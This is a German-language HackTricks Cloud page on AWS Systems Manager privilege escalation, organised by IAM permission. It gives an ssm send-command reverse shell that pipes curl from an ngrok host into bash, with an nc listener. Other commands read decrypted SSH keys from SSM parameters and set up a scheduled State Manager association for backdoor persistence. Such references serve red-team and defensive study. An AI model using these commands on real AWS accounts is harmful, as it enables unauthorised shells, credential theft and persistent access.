AWS - SSM Privesc
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
SSM
Für mehr Informationen zu SSM siehe:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Ein Angreifer mit der Berechtigung ssm:SendCommand kann Befehle auf Instanzen ausführen, auf denen der Amazon SSM Agent läuft, und dadurch die IAM Role innerhalb dieser Instanz kompromittieren.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Falls Sie diese Technik verwenden, um innerhalb einer bereits kompromittierten EC2-Instanz Privilegien zu eskalieren, können Sie die rev shell einfach lokal mit folgendem Befehl abfangen:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Mögliche Auswirkungen: Direkter privesc auf EC2 IAM Roles, die an laufende Instanzen angehängt sind, auf denen der Amazon SSM Agent läuft.
ssm:StartSession
Ein Angreifer mit der Berechtigung ssm:StartSession kann eine SSH-ähnliche Session auf Instanzen starten, auf denen der Amazon SSM Agent läuft, und damit die darin laufende IAM Role kompromittieren.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Um eine Sitzung zu starten, müssen Sie das SessionManagerPlugin installiert haben: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Mögliche Auswirkungen: Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen mit aktivierten SSM Agents angehängt sind.
Privesc auf ECS
Wenn ECS tasks mit aktiviertem ExecuteCommand laufen, können Benutzer mit ausreichenden Berechtigungen ecs execute-command verwenden, um einen Befehl innerhalb des Containers auszuführen.
Laut the documentation geschieht dies, indem ein sicherer Kanal zwischen dem Gerät, mit dem Sie den „exec“-Befehl initiieren, und dem Zielcontainer über SSM Session Manager hergestellt wird. (SSM Session Manager Plugin erforderlich, damit dies funktioniert)
Daher können Benutzer mit ssm:StartSession bei aktivierter Option einfach get a shell inside ECS tasks erhalten, indem sie Folgendes ausführen:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Mögliche Auswirkung: Direkter privesc auf die ECS IAM-Rollen, die an laufende Tasks mit aktiviertem ExecuteCommand angehängt sind.
ssm:ResumeSession
Ein Angreifer mit der Berechtigung ssm:ResumeSession kann eine SSH-ähnliche Sitzung in Instanzen, die den Amazon SSM Agent ausführen, re-starten, wenn die SSM-Sitzung den Zustand disconnected hat, und die darin laufende IAM Role compromise.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Potential Impact: Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen mit SSM Agents angehängt sind, insbesondere bei getrennten Sessions.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Ein Angreifer mit den genannten Berechtigungen kann die SSM-Parameter auflisten und im Klartext lesen. In diesen Parametern findet man häufig sensible Informationen wie SSH-Keys oder API-Keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Mögliche Auswirkungen: Sensible Informationen in den Parametern finden.
ssm:ListCommands
Ein Angreifer mit dieser Berechtigung kann alle gesendeten commands auflisten und hoffentlich sensible Informationen darin finden.
aws ssm list-commands
Potentielle Auswirkungen: Sensible Informationen in den Befehlszeilen finden.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Ein Angreifer mit diesen Berechtigungen kann alle gesendeten commands auflisten und die erzeugte Ausgabe lesen, um hoffentlich sensible Informationen darin zu finden.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Potentielle Auswirkungen: Sensible Informationen in der Ausgabe von Befehlen finden.
Verwendung von ssm:CreateAssociation
Ein Angreifer mit der Berechtigung ssm:CreateAssociation kann eine State Manager Association erstellen, um Befehle automatisch auf von SSM verwalteten EC2-Instanzen auszuführen. Diese Associations können so konfiguriert werden, dass sie in festen Intervallen laufen, wodurch sie sich für backdoor-like persistence ohne interaktive Sitzungen eignen.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM-Agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sessions oder expliziten ssm:SendCommand-Berechtigungen. Wichtig: Der --schedule-expression-Parameter (z. B. rate(30 minutes)) muss das AWS-Mindestintervall von 30 Minuten einhalten. Für eine sofortige oder einmalige Ausführung lassen Sie --schedule-expression vollständig weg — die association wird einmal nach der Erstellung ausgeführt.
Codebuild
Sie können SSM auch verwenden, um Zugriff auf ein gerade gebautes codebuild-Projekt zu erhalten:
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud